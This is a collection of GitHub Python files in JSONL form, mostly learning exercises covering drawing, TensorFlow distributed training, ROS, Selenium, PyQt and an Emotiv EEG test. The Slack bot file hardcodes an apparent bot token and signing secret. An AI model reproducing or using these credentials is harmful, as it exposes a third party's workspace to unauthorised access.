+{"seq_id":"71977023436","text":"# -*- coding: utf-8 -*-\nimport simple_draw as sd\n\nsd.resolution = (1200, 1200)\n\n# Добавить цвет в функции рисования геом. фигур. из упр lesson_004/01_shapes.py\n# (код функций скопировать сюда и изменить)\n# Запросить у пользователя цвет фигуры посредством выбора из существующих:\n# вывести список всех цветов с номерами и ждать ввода номера желаемого цвета.\n# Потом нарисовать все фигуры этим цветом\n\n# Пригодятся функции\n# sd.get_point()\n# sd.line()\n# sd.get_vector()\n# и константы COLOR_RED, COLOR_ORANGE, COLOR_YELLOW, COLOR_GREEN, COLOR_CYAN, COLOR_BLUE, COLOR_PURPLE\n# Результат решения см lesson_004/results/exercise_02_global_color.jpg\n\ndef triangle(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=3, color=color_index)\n\ndef square(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=4, color=color_index)\n\ndef rectangle_5(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=5, color=color_index)\n\ndef rectangle_6(point, length, color_index, angle=0):\n paint_fugure(point=point, length=length, angle=angle, sides=6, color=color_index)\n\ndef paint_fugure(point, length, angle, sides, color):\n\n start_point = point\n\n angle_for_figure = int(360 / sides)\n\n for i in range(sides):\n v = sd.get_vector(start_point=point, angle=angle, length=length, width=3)\n v.draw(color)\n point = v.end_point\n angle = angle + angle_for_figure\n\n if start_point is point:\n print(\"Закрытый контур\")\n else:\n sd.line(point, start_point)\n\ncolor_index = int(input(\"Введите желаемый цвет: \\n1 - красный\\n2 - оранжевый\\n3 - желтый\"\n \"\\n4 - зеленый\\n5 - голубой\\n6 - синий\\n7 - фиолетовый\\n\"))\n\ncolor = 0\nif color_index == 1:\n color = sd.COLOR_RED\nelif color_index == 2:\n color = sd.COLOR_ORANGE\nelif color_index == 3:\n color = sd.COLOR_YELLOW\nelif color_index == 4:\n color = sd.COLOR_GREEN\nelif color_index == 5:\n color = sd.COLOR_CYAN\nelif color_index == 6:\n color = sd.COLOR_BLUE\nelif color_index == 7:\n color = sd.COLOR_PURPLE\nelse:\n print(\"Вы неверно ввели цвет\")\n\nif color != 0:\n point_triangle = sd.get_point(300, 300)\n triangle(point=point_triangle, length=300, angle=50, color_index=color)\n\n point_square = sd.get_point(900, 400)\n square(point=point_square, length=200, angle=20, color_index=color)\n\n point_rectangle_5 = sd.get_point(300, 800)\n rectangle_5(point=point_rectangle_5, length=200, angle=20, color_index=color)\n\n point_rectangle_6 = sd.get_point(800, 800)\n rectangle_6(point=point_rectangle_6, length=100, angle=50, color_index=color)\n\nelse:\n pass\n\nsd.pause()\n","repo_name":"dude1410/python_learning","sub_path":"lesson_004/02_global_color.py","file_name":"02_global_color.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"42229845259","text":"import os\n\n\nimport tensorflow as tf\ntf.random.set_seed(42)\n\nprint(\"TensorFlow version: {}\".format(tf.__version__))\nprint(\"Eager execution: {}\".format(tf.executing_eagerly()))\n\n####################################\n# DDP \n####################################\n\n# Import SMDataParallel TensorFlow2 Modules\nimport smdistributed.dataparallel.tensorflow as dist\n\n\n# SMDataParallel: Initialize\ndist.init()\n\ngpus = tf.config.experimental.list_physical_devices(\"GPU\")\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\nif gpus:\n # SMDataParallel: Pin GPUs to a single SMDataParallel process [use SMDataParallel local_rank() API]\n tf.config.experimental.set_visible_devices(gpus[dist.local_rank()], \"GPU\")\n\n####################################\n\n\nprint(\"dist.rank(): \", dist.rank())\nprint(\"mnist files: mnist-%d.npz\" % dist.rank())\n\n####################################\n# DDP \n####################################\n(mnist_images, mnist_labels), _ = tf.keras.datasets.mnist.load_data(\n path=\"mnist-%d.npz\" % dist.rank()\n)\n\n\nprint(\"type: \", type(mnist_images))\nprint(\"shape: \", mnist_images.shape)\nprint(\"mnist_labels: \", mnist_labels.shape)\n\ndataset = tf.data.Dataset.from_tensor_slices(\n (tf.cast(mnist_images[..., tf.newaxis] / 255.0, tf.float32), \n tf.cast(mnist_labels, tf.int64))\n)\n\nbatch_size = 256\ndataset = dataset.repeat().shuffle(10000).batch(batch_size)\n\nmnist_model = tf.keras.Sequential(\n [\n tf.keras.layers.Conv2D(32, [3, 3], activation=\"relu\"),\n tf.keras.layers.Conv2D(64, [3, 3], activation=\"relu\"),\n tf.keras.layers.MaxPooling2D(pool_size=(2, 2)),\n tf.keras.layers.Dropout(0.25),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation=\"relu\"),\n tf.keras.layers.Dropout(0.5),\n tf.keras.layers.Dense(10, activation=\"softmax\"),\n ]\n)\n\nloss = tf.losses.SparseCategoricalCrossentropy()\n\n# opt = tf.optimizers.Adam(0.000125 * 8)\nopt = tf.optimizers.Adam(0.000125 * dist.size()) # DDP\n\ncheckpoint = tf.train.Checkpoint(model=mnist_model, optimizer=opt)\n\n\n@tf.function\ndef training_step(images, labels, first_batch):\n with tf.GradientTape() as tape:\n probs = mnist_model(images, training=True)\n loss_value = loss(labels, probs)\n\n # DDP \n # SMDataParallel: Wrap tf.GradientTape with SMDataParallel's DistributedGradientTape\n tape = dist.DistributedGradientTape(tape)\n\n \n grads = tape.gradient(loss_value, mnist_model.trainable_variables) \n opt.apply_gradients(zip(grads, mnist_model.trainable_variables))\n\n # DDP\n if first_batch:\n # SMDataParallel: Broadcast model and optimizer variables\n dist.broadcast_variables(mnist_model.variables, root_rank=0)\n dist.broadcast_variables(opt.variables(), root_rank=0)\n\n # SMDataParallel: all_reduce call\n loss_value = dist.oob_allreduce(loss_value) # Average the loss across workers\n \n return loss_value\n\n\n#for epoch in range(EPOCHS):\nn_batch = 10000\nprint_interval = 1000\nfor batch, (images, labels) in enumerate(dataset.take(n_batch)):\n loss_value = training_step(images, labels, batch == 0)\n\n# if batch % print_interval == 0: \n if batch % print_interval == 0 and dist.rank() == 0: \n print(\"Step #%d\\tLoss: %.6f\" % (batch, loss_value))\n \n\n\n# SMDataParallel: Save checkpoints only from master node.\nif dist.rank() == 0:\n checkpoint_dir = os.environ[\"SM_MODEL_DIR\"]\n mnist_model.save(os.path.join(checkpoint_dir, \"1\"))","repo_name":"gonsoomoon-ml/SageMaker-Tensorflow-Step-By-Step","sub_path":"code/phase0/working/TF-WalkThrough/src/mnist_train_DDP.py","file_name":"mnist_train_DDP.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"750018438","text":"\"\"\" Поработайте с переменными, создайте несколько, выведите на экран, запросите у пользователя несколько чисел и строк\n и сохраните в переменные, выведите на экран.\n\"\"\"\nname = 'Teo'\nage = 33\nprint(name, age)\n\ncountry = input('Введите страну проживания: ')\ncity = input('Введите город проживания: ')\nschools = input('Введите количество школ: ')\nmeds = input('Введите количество медучреждений: ')\n\nprint(country, city, schools + ' школ', meds + ' медучреждений')","repo_name":"fedor9ka/python_basic_07_04_20","sub_path":"lesson1/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"25225037077","text":"from slack import RTMClient\n\nimport os\nimport logging\nfrom flask import Flask\nfrom slack import WebClient\nfrom slackeventsapi import SlackEventAdapter\nimport ssl as ssl_lib\nimport certifi\nfrom onboarding_tutorial import OnboardingTutorial\n\n# to import file from main directory\ncurrent_dir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparent_dir = os.path.dirname(current_dir)\nsys.path.insert(0, parent_dir)\nsys.path.append(current_dir)\nimport boss, configsparser\n\n# first time invoking the boss\nfirstCall = False\n\n\n# Initialize a Flask app to host the events adapter\napp = Flask(__name__)\n\ntoken = 'xoxb-600605134164-977423189251-oy3LKOBMb9D6o0JkE3UVEHUn'\nsigning_secret = '4b26af99665e5f84a4542140bdbc65c9'\n\nslack_events_adapter = SlackEventAdapter(signing_secret, \"/slack/events\", app)\n\n# Initialize a Web API client\nslack_web_client = WebClient(token=token)\n\n# For simplicity we'll store our app data in-memory with the following data structure.\n# onboarding_tutorials_sent = {\"channel\": {\"user_id\": OnboardingTutorial}}\nonboarding_tutorials_sent = {}\n\nreceived_messages_id = []\n\nhistory = []\n\nuser_ids = []\n\ndef response(user_id: str, channel: str, query: str):\n global firstCall\n # Create a new onboarding tutorial.\n onboarding_tutorial = OnboardingTutorial(channel)\n\n # Get the onboarding message payload\n message = onboarding_tutorial.get_message_payload()\n message[\"text\"] = boss.getAnswer(query, firstCall)\n if firstCall:\n firstCall = False\n\n # Post the onboarding message in Slack\n response = slack_web_client.chat_postMessage(**message)\n\n # Capture the timestamp of the message we've just posted so\n # we can use it to update the message after a user\n # has completed an onboarding task.\n onboarding_tutorial.timestamp = response[\"ts\"]\n\n # Store the message sent in onboarding_tutorials_sent\n if channel not in onboarding_tutorials_sent:\n onboarding_tutorials_sent[channel] = {}\n onboarding_tutorials_sent[channel][user_id] = onboarding_tutorial\n history.append(query)\n history.append(message[\"text\"])\n print(history)\n\n@slack_events_adapter.on(\"app_home_opened\")\ndef sendHello(payload):\n event = payload.get(\"event\", {})\n channel_id = event.get(\"channel\")\n user_id = event.get(\"user\")\n if not user_id in user_ids and len(configsparser.getActiveAgents()) == 1 and configsparser.getActiveAgents()[0] == \"AntiCovidAgent\":\n user_ids.append(user_id)\n # Create a new onboarding tutorial.\n onboarding_tutorial = OnboardingTutorial(channel_id)\n\n # Get the onboarding message payload\n message = onboarding_tutorial.get_message_payload()\n message[\"text\"] = \"Olá, estou aqui para responder a questões sobre o COVID-19. Toda a informação que tenho provém de fontes oficiais e/ou jornais nacionais.\"\n\n # Post the onboarding message in Slack\n response = slack_web_client.chat_postMessage(**message)\n\n # Capture the timestamp of the message we've just posted so\n # we can use it to update the message after a user\n # has completed an onboarding task.\n onboarding_tutorial.timestamp = response[\"ts\"]\n\n # Store the message sent in onboarding_tutorials_sent\n if channel_id not in onboarding_tutorials_sent:\n onboarding_tutorials_sent[channel_id] = {}\n onboarding_tutorials_sent[channel_id][user_id] = onboarding_tutorial\n\n# ============== Message Events ============= #\n# When a user sends a DM, the event type will be 'message'.\n# Here we'll link the message callback to the 'message' event.\n@slack_events_adapter.on(\"message\")\ndef message(payload):\n\n \"\"\"Display the onboarding welcome message after receiving a message\n that contains \"start\".\n \"\"\"\n event = payload.get(\"event\", {})\n\n\n channel_id = event.get(\"channel\")\n user_id = event.get(\"user\")\n msg_id = event.get(\"client_msg_id\")\n text = event.get(\"text\")\n if user_id != 'UURCF5K7D' and not msg_id in received_messages_id:\n\n print(\"receiving message: \" + text + \" user id \" + user_id)\n # avoid repetaed messages\n received_messages_id.append(msg_id)\n\n response(user_id, channel_id, text)\n\n #if text and text.lower() == \"start\":\n #return start_onboarding(user_id, channel_id)\n\n\nif __name__ == \"__main__\":\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(logging.StreamHandler())\n ssl_context = ssl_lib.create_default_context(cafile=certifi.where())\n firstCall = True\n app.run(port=8080)\n","repo_name":"leonorllansol/muahah","sub_path":"slack/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"70321078474","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport rospy\n\nimport actionlib\n\nfrom package_robot.msg import DoCarWashAction,DoCarWashResult, DoCarWashFeedback\n\nclass DoActionServer:\n\n def __init__(self):\n self.server = actionlib.SimpleActionServer('do_car_wash', DoCarWashAction, self.execute, False)\n self.server.start()\n print(\"Running action server do_wash_car ...\")\n \n def execute(self, goal):\n\n feedback = DoCarWashFeedback()\n result = DoCarWashResult()\n rate = rospy.Rate(1)\n\n for x in range(0,goal.number_of_cars):\n result.total_cars_cleaned += 1\n feedback.percent_cars_complete = (result.total_cars_cleaned*100.0)/goal.number_of_cars\n self.server.publish_feedback(feedback) #Publicamos el feedback\n rate.sleep()\n\n self.server.set_succeeded(result) #Publicamos el resultado\n\n\nif __name__ == '__main__':\n rospy.init_node('node_action_server')\n server = DoActionServer() #Creamos una instancia de la Clase DoActionServer\n rospy.spin() #Mantiene corriendo el script hasta que se detiene la ejecución del script con Crtl+C","repo_name":"hanssel123/ROS","sub_path":"src/package_robot/src/node_action_server.py","file_name":"node_action_server.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"6925373346","text":"if __name__ == '__main__':\n m = open(r\"C:\\Users\\Dell\\PycharmProjects\\myproj\\day4\\test.txt\",\"w\",encoding='utf-8')\n # val = m.read() # 读取全部内容\n # val1 = m.readline() # 读一行\n # m = m.readlines() # 读取全部的一行\n # m1 = m.readable() # 判断是否刻度可读\n # print(val1)\n # print(m)\n # mlist = [\"高波\",\"男\",\"傻逼\"]\n # m = m.write(\"高波\")\n # m.writelines(mlist)\n # mint = m.tell()\n # n = m.seek(0,2)\n # print(n)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lun1345330620/mypj","sub_path":"day4/mypro08.py","file_name":"mypro08.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"26956875297","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on 8/12/2018\r\n\r\n@author: Samuel\r\n@Desc: Test the module selenium\r\n@dependence:\r\nchromedriver.exe (need to install chrome 68.0 on your server)\r\nChrome browser driver download.\r\nhttps://sites.google.com/a/chromium.org/chromedriver/downloads\r\n\r\n\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\nimport time\r\n\r\nbrowser = webdriver.Chrome(executable_path=\"driver\\win10X64\\chromedriver.exe\")\r\ntry:\r\n browser.get(\"https://www.baidu.com\")\r\n input = browser.find_element_by_id(\"kw\")\r\n # use the chrome to finish the key word search.\r\n input.send_keys(\"Python\")\r\n input.send_keys(Keys.ENTER)\r\n wait = WebDriverWait(browser, 10)\r\n wait.until(EC.presence_of_element_located((By.ID, \"content_left\")))\r\n print(browser.current_url)\r\n print(browser.get_cookies())\r\n print(browser.page_source)\r\n time.sleep(10)\r\nfinally:\r\n browser.close()\r\n","repo_name":"Sammion/PythonStudy","sub_path":"source/Selenium/test61.py","file_name":"test61.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"40176059930","text":"import json\nimport os\nimport shutil\n\n\nclass settingsManager:\n\tdef __init__(self, form, cache, dataPath, modDirPath, versionId):\n\t\tself.modListDataFile = dataPath + 'modListData.json'\n\t\tself.dataPath = dataPath\n\t\tself.cache = cache\n\t\tself.local = False\n\t\tself.modDirPath = modDirPath\n\t\tself.cacheDirPath = self.dataPath + \"cache\\\\\"\n\t\tself.cache.setCachePath(self.cacheDirPath)\n\t\tself.cache.setSettings(self)\n\t\tself.imageDirPath = self.cacheDirPath + \"img\\\\\"\n\t\tself.settingsFile = self.dataPath + \"settings.json\"\n\t\tself.form = form\n\t\tif not os.path.isdir(self.dataPath):\n\t\t\tos.makedirs(self.dataPath)\n\t\tif not os.path.isdir(self.imageDirPath):\n\t\t\tos.makedirs(self.imageDirPath)\n\n\t\tbaseDict = {\n\t\t\t\t\"disableCache\": False,\n\t\t\t\t\"saveCache\": 30,\n\t\t\t\t\"cacheLimit\": 0,\n\t\t\t\t\"cacheLimitUnit\": \"MB\",\n\t\t\t\t\"localPics\": True,\n\t\t\t\t\"language\": \"en\",\n\t\t\t\t\"lastVersion\": versionId\n\t\t\t}\n\n\t\tif os.path.exists(self.settingsFile):\n\t\t\tself.data = json.load(open(self.settingsFile, \"r\"))\n\t\t\tself.data = baseDict | self.data\n\t\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\t\telse:\n\t\t\tself.data = baseDict\n\t\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\n\t\tif not os.path.isdir(self.cacheDirPath):\n\t\t\tos.makedirs(self.cacheDirPath)\n\t\tself.form.disableCache.setChecked(self.data[\"disableCache\"])\n\t\tself.form.localPics.setChecked(self.data[\"localPics\"])\n\t\tself.form.cacheDays.setValue(self.data[\"saveCache\"])\n\t\tself.form.cacheSizeLimit.setValue(self(\"cacheLimitRaw\"))\n\n\t\tif self(\"cacheLimitUnit\") in [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"]:\n\t\t\tself.form.cacheSizemultiplayer.setText(self(\"cacheLimitUnit\"))\n\t\telse:\n\t\t\tself.form.cacheSizemultiplayer.setText(\"MB\")\n\t\t\tself.apply()\n\n\t\tdef change_type():\n\t\t\tif self.form.cacheSizemultiplayer.text() == \"MB\":\n\t\t\t\tself.form.cacheSizemultiplayer.setText(\"GB\")\n\t\t\telse:\n\t\t\t\tself.form.cacheSizemultiplayer.setText(\"MB\")\n\t\tself.form.cacheSizemultiplayer.clicked.connect(change_type)\n\t\t\n\t\tif self(\"lastVersion\") < versionId:\n\t\t\tself.migrate(self(\"lastVersion\"), versionId)\n\n\tdef migrate(self, version, versionId):\n\t\tif version <= 3:\n\t\t\tif os.path.isdir(self.dataPath + \"img\\\\\"):\n\t\t\t\ttry:\n\t\t\t\t\tshutil.rmtree(self.dataPath + \"img\\\\\")\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tself.apply(versionId)\n\n\tdef __call__(self, value):\n\t\treturn self.get(value)\n\n\tdef get(self, value):\n\t\tif value == \"cacheLimit\":\n\t\t\tvalues = [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"]\n\t\t\treturn (1024**values.index(self(\"cacheLimitUnit\")))*self(\"cacheLimitRaw\")\n\n\t\tif value == \"cacheLimitRaw\": value = \"cacheLimit\"\n\t\tif value in [\"disableCache\", \"saveCache\", \"cacheLimit\", \"cacheLimitUnit\", \"language\", \"localPics\", \"lastVersion\"]:\n\t\t\treturn self.data[value]\n\t\treturn getattr(self, value)\n\n\tdef apply(self, version=False):\n\t\tself.data[\"disableCache\"] = self.form.disableCache.isChecked()\n\t\tself.data[\"saveCache\"] = self.form.cacheDays.value()\n\t\tself.data[\"cacheLimit\"] = self.form.cacheSizeLimit.value()\n\t\tself.data[\"cacheLimitUnit\"] = self.form.cacheSizemultiplayer.text()\n\t\tself.data[\"localPics\"] = self.form.localPics.isChecked()\n\t\tself.data[\"lastVersion\"] = version or self.version[1]\n\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\n","repo_name":"VsModManager/App","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"34470766216","text":"from jieba import posseg\nimport math\n\n\ndef cos_similarity(str1, str2):\n cut_str1 = [w for w, t in posseg.lcut(str1) if 'n' in t or 'v' in t]\n cut_str2 = [w for w, t in posseg.lcut(str2) if 'n' in t or 'v' in t]\n\n all_words = set(cut_str1 + cut_str2)\n\n freq_str1 = [cut_str1.count(x) for x in all_words]\n freq_str2 = [cut_str2.count(x) for x in all_words]\n\n sum_all = sum(map(lambda z, y: z * y, freq_str1, freq_str2))\n sqrt_str1 = math.sqrt(sum(x ** 2 for x in freq_str1))\n sqrt_str2 = math.sqrt(sum(x ** 2 for x in freq_str2))\n return sum_all / (sqrt_str1 * sqrt_str2)\n","repo_name":"W1ndness/CARC","sub_path":"ainfox/matching/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"39033530678","text":"import os\nimport sys\n\nos.system('cls' if os.name == 'nt' else 'clear')\nprint(\"Witaj w grze Ruwnania\\n\")\nprint(\"Napisz dobrą odpowiedź a wygrasz!\\n\")\ninput(\"Naciśnij enter aby zacząć\")\nos.system('cls' if os.name == 'nt' else 'clear')\nprint(\"Lvl 1\")\nlvl1 = input(\"1 + 1 = ? \\n: \")\nif lvl1 == \"2\":\n print(\"\\nDobrze\\n\")\n print(\"Lvl 2\\n\")\n print(\"37 x 7 = ? \\n\")\n lvl2 = input(\": \")\n if lvl2 == \"259\":\n print(\"Gratulacje\")\n sys.exit()\n else:\n print(\"Przegrałeś\")\n sys.exit()\nelse:\n print(\"Przegrałeś\")\n sys.exit()","repo_name":"Kmarz23/Gry_do_PyCrafter-opcjonalne","sub_path":"Ruwnania.py","file_name":"Ruwnania.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"6719513024","text":"#!/usr/bin/env python\n\nimport click\n\n\ndef get_nodes(ncol_fp):\n nodes = set()\n for line in ncol_fp:\n line = line.strip()\n n1, n2, _ = line.split()\n nodes.add(n1)\n nodes.add(n2)\n return nodes\n\n\ndef edges_gen(ncol_fp):\n edges = set()\n num_edges, num_dups = 0, 0\n for line in ncol_fp:\n num_edges += 1\n line = line.strip()\n n1, n2, w = line.split()\n n1, n2 = min(n1, n2), max(n1, n2)\n if (n1, n2) in edges:\n # This edge has already been seen.\n num_dups += 1\n continue\n edges.add((n1, n2))\n w = int(w)\n yield n1, n2, w\n print(\"read {} edges ({} dups)\".format(num_edges, num_dups))\n\n\n@click.command()\n@click.argument('ncol-file', type=click.Path())\n@click.argument('gdf-file', type=click.Path())\ndef go(ncol_file, gdf_file):\n \"\"\"\n Convert a group graph file from NCOL format to GDF format.\n \"\"\"\n with click.open_file(ncol_file) as ncol_fp:\n nodes = get_nodes(ncol_fp)\n print(\"read {} nodes\".format(len(nodes)))\n with click.open_file(ncol_file) as ncol_fp:\n with click.open_file(gdf_file, \"w\") as gdf_fp:\n print(\"nodedef>name VARCHAR\", file=gdf_fp)\n num_nodes = 0\n for n in sorted(nodes):\n num_nodes += 1\n print(\"{}\".format(n), file=gdf_fp)\n print(\"wrote {} nodes\".format(num_nodes))\n print(\"edgedef>node1 VARCHAR,node2 VARCHAR,weight INT\", file=gdf_fp)\n num_edges = 0\n for n1, n2, w in edges_gen(ncol_fp):\n num_edges += 1\n print(\"{},{},{}\".format(n1, n2, w), file=gdf_fp)\n print(\"wrote {} edges\".format(num_edges))\n\nif __name__ == '__main__':\n go()\n","repo_name":"nitecascade/solid-funicular","sub_path":"bin/ncol2gdf.py","file_name":"ncol2gdf.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"40804465279","text":"import time\nimport pytest\n\nfrom pyacq.devices.eeg_emotiv import Emotiv, HAVE_PYCRYPTO\nfrom pyacq.viewers.qoscilloscope import QOscilloscope\nfrom pyqtgraph.Qt import QtCore, QtGui\nimport pyqtgraph as pg\n\nfrom collections import OrderedDict\nimport os\n\nimport platform\nWINDOWS = (platform.system() == \"Windows\")\nif WINDOWS:\n try:\n import pywinusb.hid as hid\n HAVE_PYWINUSB = True\n except ImportError:\n HAVE_PYWINUSB = False\n\n# Manual scan of devices\ndef get_available_devices():\n devices = []\n if WINDOWS:\n try:\n for device in hid.find_all_hid_devices():\n if device.product_name == 'Emotiv RAW DATA':\n devices.append(device.device_path)\n finally:\n pass\n else:\n serials = {}\n for name in os.listdir(\"/sys/class/hidraw\"):\n realInputPath = os.path.realpath(\"/sys/class/hidraw/\" + name)\n path = '/'.join(realInputPath.split('/')[:-4])\n try:\n if os.path.isfile(path + \"/manufacturer\"):\n with open(path + \"/manufacturer\", 'r') as f:\n manufacturer = f.readline()\n if \"emotiv\" in manufacturer.lower():\n with open(path + \"/serial\", 'r') as f:\n serial = f.readline().strip()\n if serial not in serials:\n serials[serial] = []\n serials[serial].append(name)\n except IOError as e:\n print(\"Couldn't open file: %s\" % e)\n\n for serial, names in serials.items():\n device_path = '/dev/'+names[1]\n devices.append(device_path)\n\n return devices\n\n@pytest.mark.skipif(WINDOWS and not HAVE_PYWINUSB, reason='no have pywinusb')\n@pytest.mark.skipif(not HAVE_PYCRYPTO, reason='no have pycrypto')\ndef test_eeg_emotiv_direct():\n # Look for emotiv usb device\n all_devices = get_available_devices()\n device_handle = all_devices[0]\n\n # in main App\n app = pg.mkQApp()\n dev = Emotiv(name='Emotiv0')\n dev.configure(device_handle=device_handle)\n dev.outputs['signals'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.outputs['impedances'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.outputs['gyro'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.initialize()\n viewer_sigs = QOscilloscope()\n viewer_sigs.configure(with_user_dialog=True)\n viewer_sigs.input.connect(dev.outputs['signals'])\n viewer_sigs.initialize()\n viewer_sigs.show()\n\n viewer_imp = QOscilloscope()\n viewer_imp.configure(with_user_dialog=True)\n viewer_imp.input.connect(dev.outputs['impedances'])\n viewer_imp.initialize()\n viewer_imp.show()\n\n viewer_gyro = QOscilloscope()\n viewer_gyro.configure(with_user_dialog=True)\n viewer_gyro.input.connect(dev.outputs['gyro'])\n viewer_gyro.initialize()\n viewer_gyro.show()\n\n dev.start()\n viewer_sigs.start()\n viewer_imp.start()\n viewer_gyro.start()\n\n def terminate():\n viewer_sigs.stop()\n viewer_imp.stop()\n viewer_gyro.stop()\n dev.stop()\n viewer_sigs.close()\n viewer_imp.close()\n viewer_gyro.close()\n dev.close()\n app.quit()\n\n # start for a while\n timer = QtCore.QTimer(singleShot=True, interval=3000)\n timer.timeout.connect(terminate)\n #~ timer.start()\n\n app.exec_()\n\n\nif __name__ == '__main__':\n\n test_eeg_emotiv_direct()\n","repo_name":"pyacq/pyacq","sub_path":"pyacq/devices/tests/test_eeg_emotiv.py","file_name":"test_eeg_emotiv.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"28"}
+{"seq_id":"11695566407","text":"def anagrama(palavra1, palavra2):\n minusculo1 = palavra1.lower()\n sem_espacos1 = ''.join([x for x in minusculo1 if x != ' '])\n minusculo2 = palavra2.lower()\n sem_espacos2 = ''.join([x for x in minusculo2 if x != ' '])\n c1 = set(sem_espacos1)\n c2 = set(sem_espacos2)\n if len(c1) == (len(c2)):\n print(\"É um anagrama\")\n else:\n print(\"Não é um anagrama\")\n\ndef main():\n palavra1 = str(input(\"escreva a primeira palavra: \"))\n palavra2 = str(input(\"Insira outra palavra: \"))\n anagrama(palavra1, palavra2)\n\nif __name__ == \"__main__\":\n main()","repo_name":"MatheusPieta/Ciencias_da_Computacao","sub_path":"Algoritmos/AER-Alg-26/MPDC-AER-Alg-26-6.py","file_name":"MPDC-AER-Alg-26-6.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"18963327704","text":"from PyQt5.QtWidgets import QWidget, QLabel, QLineEdit,QPushButton, \\\n QVBoxLayout,QHBoxLayout\nfrom tempdlg_subsystem.database.QuestionTableModule import QuestionTable\nfrom PyQt5.QtGui import QStandardItem\n#Классы для добавления вопросов и ответов\nclass AddQuestionDlg(QWidget):\n def __init__(self, tableView, model, idC, idRecord=0, indModel=0):\n super().__init__()\n self.IDRecord = idRecord\n self.INDModel = indModel\n self.label = QLabel()\n self.le = QLineEdit()\n self.layH = QHBoxLayout()\n self.layH.addWidget(self.label)\n self.layH.addWidget(self.le)\n self.layV = QVBoxLayout()\n self.layV.addLayout(self.layH)\n self.AddOtherWidgets()\n self.setLayout(self.layV)\n self.tv = tableView\n self.Model = model\n self.IDC = idC\n\n self.pb.clicked.connect(self.click)\n self.SetHeaders()\n\n def AddOtherWidgets(self, ):\n self.pb = QPushButton('Добавить')\n self.layV.addWidget(self.pb)\n if self.IDRecord:\n self.le.setText(QuestionTable().GetQuestionFromID(self.IDRecord))\n\n\n def click(self):\n tab = QuestionTable()\n if not self.IDRecord:\n id=tab.InsertRecord(self.le.text(), self.IDC)\n i = self.Model.rowCount()\n\n self.Model.setItem(i,1,QStandardItem(self.le.text()) )\n self.Model.setItem(i,0,QStandardItem(str(id)))\n self.Model.setVerticalHeaderLabels([' '] * (i + 1))\n else:\n tab.UpdateRecordFromIDAndText(self.IDRecord, self.le.text())\n self.Model.setItem(self.INDModel.row(), 1,\n QStandardItem(self.le.text()))\n\n self.tv.setModel(self.Model)\n self.close()\n\n def keyPressEvent(self, event):\n key = event.key()\n if key == 16777220: # код клавиши Enter\n self.click()\n\n def SetHeaders(self):\n self.label.setText('Введите вопрос :')\n self.setWindowTitle('Ввод вопроса')","repo_name":"Mukudori/IntellectualDialogueSystem","sub_path":"tempdlg_subsystem/AddQuestionModule.py","file_name":"AddQuestionModule.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
